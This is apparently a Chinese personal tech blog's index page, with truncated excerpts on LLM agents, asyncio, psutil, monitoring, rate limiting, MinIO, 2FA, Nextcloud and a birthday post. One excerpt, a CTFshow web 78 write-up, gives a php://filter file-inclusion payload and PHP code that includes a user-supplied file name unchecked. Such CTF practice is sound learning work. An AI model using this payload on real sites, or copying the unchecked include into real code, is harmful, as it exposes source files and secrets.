LlamaIndex 工作流(Workflow)详解工作流是一种事件驱动、基于步骤的执行流程控制方式,能将应用程序拆解为可复用的「步骤(Steps)」,步骤由「事件(Events)」触发且自身也会发出事件,通过组合步骤与事件可构建复杂且易维护的执行逻辑。
技术选型:选用 llama-index 作为Agent框架,搭配绘图模块可视化工作流
12pip install llama-index-corepip install llama-index-utils-workflow
1. 核心概念:分支与循环工作流的核心逻辑由「分支」和「循环」构成:
分支:步骤可根据条件返回不同事件,框架会根据事件类型自动匹配并执行对应步骤;
循环:某步骤返回的事件若匹配自身/上游步骤的输入类型,框架会将事件重新传入该步骤,实现重复执行。
基础依赖导入所有工作流示例均依赖以下核心模块:
12345678910from llama_index.core.workflow import ( StartEvent, # 工作流起始事件(框架内置) StopEvent, # 工作 ...
LLM 工具调用实践指南目的核心技术价值,是通过LLM 工具调用 + RAG 检索增强 + 多轮对话记忆,搭建一个可自主决策、精准执行的智能 Agent;而我做这一切的最终目的,是借助 LLM 的博闻强理解特征,打破传统漏洞检索依赖人工规则、效率低的局限,构建一套能智能匹配漏洞知识库、调用扫描工具、记忆上下文需求的智能漏洞检索系统,当然作为前置知识,这是我们必须的第一步
概述本教程旨在学习最简单的 LLM 工具调用,让 AI 从只会纸上谈兵进化到拥有”脑子和手”,其中大模型充当大脑,我们定义的代码充当手。
掌握 LLM 调用自定义工具的基础逻辑(为调用漏洞扫描工具打基础)
集成 RAG 检索增强,实现对漏洞知识库的精准查询(替代人工翻查漏洞文档)
支持多轮对话记忆,让 Agent 能记住用户的漏洞检索上下文(如先问漏洞影响,再问修复方案,无需重复输入)
最终落地:将技术能力迁移到漏洞检索场景,构建一个 “理解需求→调用工具→整合结果” 的智能 Agent
术语介绍这是一份快速指南,介绍了在构建 LLM 应用时会频繁遇到的高级概念。
大语言模型 (LLMs)LLMs 是 LlamaI ...
private
未读生日快乐,敏生日快乐,[敏]!
生日快乐呀,不知不觉已经认识第三个年头了,在我心中你超级可爱哦,在这期间我们闹过矛盾,有过怀疑,但最终还是成为了好朋友,正如我们大一说的那样做到了,在大学认识能够认识你非常的幸运,更幸运的是我们关系越来越好了。成为了彼此成长路上的见证者,希望以后我们也能是同行者,我知道你不善言辞,甚至很多时候都不懂拒绝别人,希望以后你能多多勇敢说”no”,勇敢做自己!让自己轻松一点~废话就不多说啦!我们来年再见,每年说一点,拼凑出属于我们的篇章 来自 V我50!
冉龙英
我们的碎片
给你鸡腿
想与你分享一些属于我们的瞬间。每一张都是我想说的话 。
[{"url":"https://blog.kong.college/img/y4.jpg","alt":"新的一岁愿你眼里的星辰大海永远如今日般明亮"},{"url":"https://blog.kong.college/img/y3.jpg","alt":"你专注做自己喜欢事情的样子总是闪闪发光。"},{"url":"https://blog ...
Python asyncio 异步编程完全指南目录
异步编程核心思想
同步 vs 异步 直观对比
网络请求对比案例
简化Demo(Hello→World)
协程基础
协程概念与特点
async/await 关键字详解
协程函数示例(单个/多个任务)
事件循环(Event Loop)
核心原理
手动配置事件循环示例
异步IO操作
异步文件读写
关键注意事项
一、异步编程核心思想异步编程是单线程中并发处理多任务的编程方式,核心优势是提升IO密集型任务(网络通信、数据库访问、文件读写)的并发性和响应性。
其核心思想是:避免阻塞——当一个任务等待IO操作(如等待网络响应、等待文件读取)时,主动让出CPU执行权,让其他任务继续执行,从而充分利用CPU时间片,避免闲置浪费。
生动类比(餐厅服务员模型)
模式
执行流程
核心特点
同步模式
接待顾客A → 记录订单 → 原地等菜 → 给A上菜 → 再接待顾客B
等待IO时CPU闲置,效率低
异步模式
接待顾客A → 记录订单 → 转接待顾客B → 接待顾客C → 后厨喊菜 → 暂停C,给A上菜 → ...
psutil 系统监控与进程管理库完全指南psutil(Process and System Utilities)是一款 跨平台、轻量级、功能强大 的 Python 系统监控与进程管理库。核心目标是通过 统一 API 简化系统资源(CPU、内存、磁盘、网络等)和进程的监控、查询与控制,无需依赖 top、netstat、df 等系统原生命令,大幅降低跨平台系统级工具的开发成本。
一、CPU 监控核心功能获取 CPU 核心数、使用率、时间统计(用户态/系统态耗时等)信息,支持全局/单核心监控。
关键函数与参数
函数
功能描述
psutil.cpu_times()
返回 CPU 时间统计(user/系统/空闲等耗时)
psutil.cpu_count()
返回 CPU 核心数(默认逻辑核心,logical=False 返回复物理核心)
psutil.cpu_percent()
返回 CPU 使用率(interval:采样时间/秒;percpu=True:返回单核心使用率)
示例代码123456789101112impo ...
CTFshow web 78 - 基础代码起步代码
这部分代码可任意用作实验
payload: ?file=php://filter/convert.base64-encode/resource=flag.php1234567891011121314151617181920<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-16 10:52:43# @Last Modified by: h1xa# @Last Modified time: 2020-09-16 10:54:20# @email: h1xa@ctfer.com# @link: https://ctfer.com*/if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}else{ highlight_file(__FILE__);}
CTFshow web 7 ...
iotop 与 netstat 工具使用指南在应急响应中,可以通过 netstat 排查业务,或者针对反弹,监听等进行审查,通过iotop 命令可以快速定位可疑的业务,矿,反弹shell等
一、iotop:磁盘 I/O 实时监控工具iotop 是类 top 的磁盘 I/O 专用监控工具,可实时查看进程/线程的读写速率、I/O 使用率等关键信息,适用于定位磁盘占用过高的进程。
1. 安装准备步骤1:更新软件包索引1sudo apt-get update # 更新本地软件包列表,确保安装最新版本
步骤2:安装 iotop1sudo apt install -y iotop # -y 自动确认安装,无需手动交互
安装成功界面:
2. 核心用法(1)默认交互式启动1sudo iotop # 需 root 权限,进入实时监控界面
监控界面展示:
(2)常用参数说明(表格更清晰)
参数
作用描述
-o
仅显示有 I/O 活动的进程/线程(过滤空闲进程)
-b
批量模式(非交互式),用于日志记录或脚本分析
-n N ...
Zabbix
未读Zabbix 监控 MySQL 完整配置指南本指南专为Zabbix新用户设计,包含启用MySQL服务器基本监控所需的最少步骤集。 如果您正在寻找深度自定义选项或需要更高级的配置,请参阅Zabbix手册的 配置 部分。
一、安装 Zabbix Agent2执行以下命令完成 Agent2 安装与启动(适用于 Ubuntu 系统):
123456789101112131415161718# 更新系统包并安装依赖工具apt update && apt install -y wget gnupg2# 下载 Zabbix 仓库配置包(适配当前 Ubuntu 版本)wget https://repo.zabbix.com/zabbix/6.4/ubuntu/pool/main/z/zabbix-release/zabbix-release_6.4-1+ubuntu$(lsb_release -rs)_all.deb# 安装仓库配置包dpkg -i zabbix-release_6.4-1+ubuntu$(lsb_release -rs)_all.deb# 再次更新包索引apt upd ...
业务限流策略:从网关到事后防护的三级防护方案目录
核心设计思想:木桶限流模型
一级防护:网关限流(Kong)
二级防护:业务中间件限流(PHP ThinkPHP)
三级防护:事后审计与端口保护(Fail2ban)
核心设计思想:木桶限流模型限流的核心逻辑基于「木桶策略」:
定义一个「时间盒子」(窗口时间),设定单位时间内允许通过的最大请求次数(限流阈值);
当请求次数达到阈值时,触发限流机制,拒绝后续请求;
「时间盒子」到期后,计数自动重置,开启新的窗口周期,恢复接收请求。
本次方案通过三级防护实现全链路限流,兼顾性能与安全性:
网关限流:请求入口层拦截,过滤海量恶意请求;
中间件限流:业务层精细化控制,适配业务场景;
事后封禁:针对异常行为审计,长期阻断风险源。
一级防护:网关限流(Kong)API网关作为请求入口,承担第一重限流职责,选择Kong网关基于其高性能、插件化特性,可快速集成限流功能。
架构示意图
RateLimit插件配置通过Kong的RateLimit插件实现多维度限流控制,当前配置如下(后续可根据业务调整):
1秒内最多3次请求
1分钟内最多60次请求
...
通过 iptables 配置 JumpServer 堡垒机(跳板机)策略学习JumpServer 作为企业级堡垒机,核心价值在于实现资产的安全访问与精细化管控。本文将详细介绍如何通过 iptables 配置防火墙策略,限制资产仅允许通过 JumpServer 访问,并完整覆盖 Linux/Windows 资产的接入、授权与审计流程。
一、JumpServer 终端核心特性JumpServer 终端(Web Terminal)是其核心功能模块,具备以下关键特性,支撑安全便捷的远程访问:
1. 多协议全面支持
SSH/RDP/VNC/Telnet:覆盖 Linux、Windows 等主流操作系统远程连接
数据库协议:兼容 MySQL、PostgreSQL、Oracle 等数据库直连(需提前配置对应应用)
Kubernetes:支持通过 Web 终端直接连接 Kubernetes 容器
2. 浏览器原生访问
无需客户端:浏览器内即可完成 SSH/RDP 等会话连接,免装额外工具
跨平台兼容:支持 Chrome、Firefox、Edge 等现 ...
超简单使用NapCatQQ创建AI人机 - 无需公网IP突然发现一个有趣的项目:通过 go-cqhttp 生态模拟QQ客户端行为,让账号伪装成合法虚拟用户,再通过 AstrBot 触发AI对话,实现智能人机交互。核心逻辑如下:
核心原理:go-cqhttp 登录QQ账号后,模拟合法客户端接收消息;AstrBot 搭建WebSocket服务端,NapCat 获取消息后通过WS连接触发AI对话,最终将回复返回给QQ用户。
核心流程
部署 NapCat 与 AstrBot 容器
NapCat 登录QQ账号,接收用户消息(基于 go-cqhttp 生态)
AstrBot 启动WebSocket服务端,NapCat 通过WS连接推送消息,AI生成回复后返回
⚠️ 重要警告:
务必使用QQ小号测试!go-cqhttp 并非QQ官方认可生态,账号有被封禁风险(封禁后无法解封)
严禁用于盈利行为,否则可能面临法律责任
第一步:部署 AstrBot 生态1.1 创建容器12345678910# 创建工作目录并进入mkdir astrbot && cd astrbot ...
NextCloud 使用cpolar 辅助+frp主导的个人开发环境解决方案为什么有这个文章在使用飞牛Nas时候,出现了很多不方便的地方,他的功能很全,但是存在一个占用高,然后存储管理不够灵活,而且太依靠web,有一个本人安装php,不小心把apache2附带进去了,造成web无法打开,想了很多办法,才发现可能是apache的问题,果然关了就没问题了,还有各种小问题用在不舒服,总之,我需要的是网盘,也仅仅是网盘,很多功能我用不上,反而累赘,但是这个对新手很友好,这个没话说,所以最终是需求的问题
优势这个项目的优势在与,如果你在电脑旁边,你可以使用局域网地址访问你的项目进行开发,在外面可以使用穿透地址,而不需要依靠飞牛的环境,并且拓展性强,比如你可以拓展Minlo等对象存储器,作为网盘而言,NextCloud占用低,明确了他作为Cloud的地位,占用低
Docker 部署 Nextcloud 完整教程(含 MySQL/Redis/内网穿透/扩展功能)目录
前置准备:创建共享网络
部署 MySQL 8.0 数据库
部署 Redis 缓存服务
部署 Nextcl ...
ThinkPHP 8 集成 MinIO 实现文件上传/删除/下载完整教程一、环境准备:安装依赖MinIO 兼容 S3 API,可通过 AWS S3 SDK 操作。使用 Composer 安装依赖:
1composer require aws/aws-sdk-php "^3.0"
图:Composer 安装 aws-sdk-php 依赖成功
二、配置文件:创建 MinIO 连接配置在 ThinkPHP 8 的 config 目录下创建 minio.php,填写 MinIO 连接参数:
12345678910111213141516171819<?php// config/minio.phpreturn [ // MinIO服务地址(含端口,本地默认9000) 'endpoint' => env('MINIO_ENDPOINT', 'http://192.168.20.147:9000'), // 是否使用路径风格(MinIO推荐开启,自托管场景必备) ...
PHP 实现双因素身份认证(2FA)什么是双因素双因素身份认证(英文简称 2FA),是一种在传统 “账号 + 密码”(单因素认证)基础上增加的第二层安全验证机制,核心逻辑是要求用户同时提供两种不同类型的 “身份凭证” 才能完成登录,通过 “多重验证” 阻挡非法访问,大幅提升账户安全性。
知识因素:用户 “知道” 的信息(如账号密码、安全问题答案);
持有因素:用户 “拥有” 的物品 / 设备(如手机、U 盾、动态令牌);
生物因素:用户 “本身” 的生物特征(如指纹、人脸、声纹)。
双因素认证的本质的是:将 “知识因素”(必选的账号密码)与另外两类因素中的任意一种组合,形成 “密码 + X” 的验证逻辑(X 为持有因素或生物因素)
传统 “账号 + 密码” 容易因密码泄露(如撞库、钓鱼、密码被盗)导致账户被盗,而双因素认证中,即使第一层密码被破解,第二层凭证(如动态码、U 盾)仍能形成安全屏障 —— 非法入侵者无法获取用户的物理设备或生物特征,也就无法完成登录。比如你之前开发的系统中,用户需先输入正确的账号密码,再输入手机 APP 生成的动态码,才算登录成功,即使密码 ...
使用 Docker 快速部署 MinIO 文件存储服务在日常开发中,文件管理(如图片、视频、日志、数据集等)常面临分散存储、安全性低、运维复杂等问题,传统文件存储方式易引发上传漏洞等风险。MinIO 作为一款高性能、轻量级的对象存储服务,兼容 Amazon S3 协议,可集中管理分散对象,减少暴露面并降低运维成本,是解决文件存储痛点的理想选择。
快速部署 MinIO(Docker 方式)1. 拉取 MinIO 镜像推荐使用指定稳定版本镜像(避免 latest 版本的兼容性问题):
docker pull minio/minio:RELEASE.2025-04-22T22-12-26Z
版本号格式为 RELEASE.年-月-日T时-分-秒Z,可在 MinIO 官方镜像仓库 选择最新稳定版。
2. 启动 MinIO 容器通过以下命令启动容器,实现数据持久化并映射端口:
docker run -d \
--name minio-server \
-p 9000:9000 \ # S3 兼容 API 端口(程序访问用)
-p 9001:9001 \ # 管理控制台 ...
Java环境安装与基础语法安装 OpenJDK 17(含开发工具)通过APT命令快速安装OpenJDK 17,适用于Ubuntu等Debian系Linux系统:
1sudo apt install openjdk-17-jdk
安装过程示意图:注:若为其他系统,需对应调整安装命令(如CentOS用yum,Windows需手动下载安装包)
验证安装安装完成后,执行以下命令验证JDK是否安装成功,需同时显示java和javac版本:
12java -versionjavac -version
验证成功示意图:
基础语法核心规则Java中公共类的命名有严格规范,与PHP的PSR - 4自动加载原则逻辑相近,具体规则如下:
公共类(public修饰)文件名必须与public类名完全一致(含大小写),否则编译会直接报错。示例:定义public class HelloWorld,对应的文件名必须为HelloWorld.java。
非公共类(无public修饰)文件名可与类名不同,但建议保持一致,便于团队协作时快速定位代码文件。示例:文件名Test.java中,可定义class Demo,编译无报 ...




































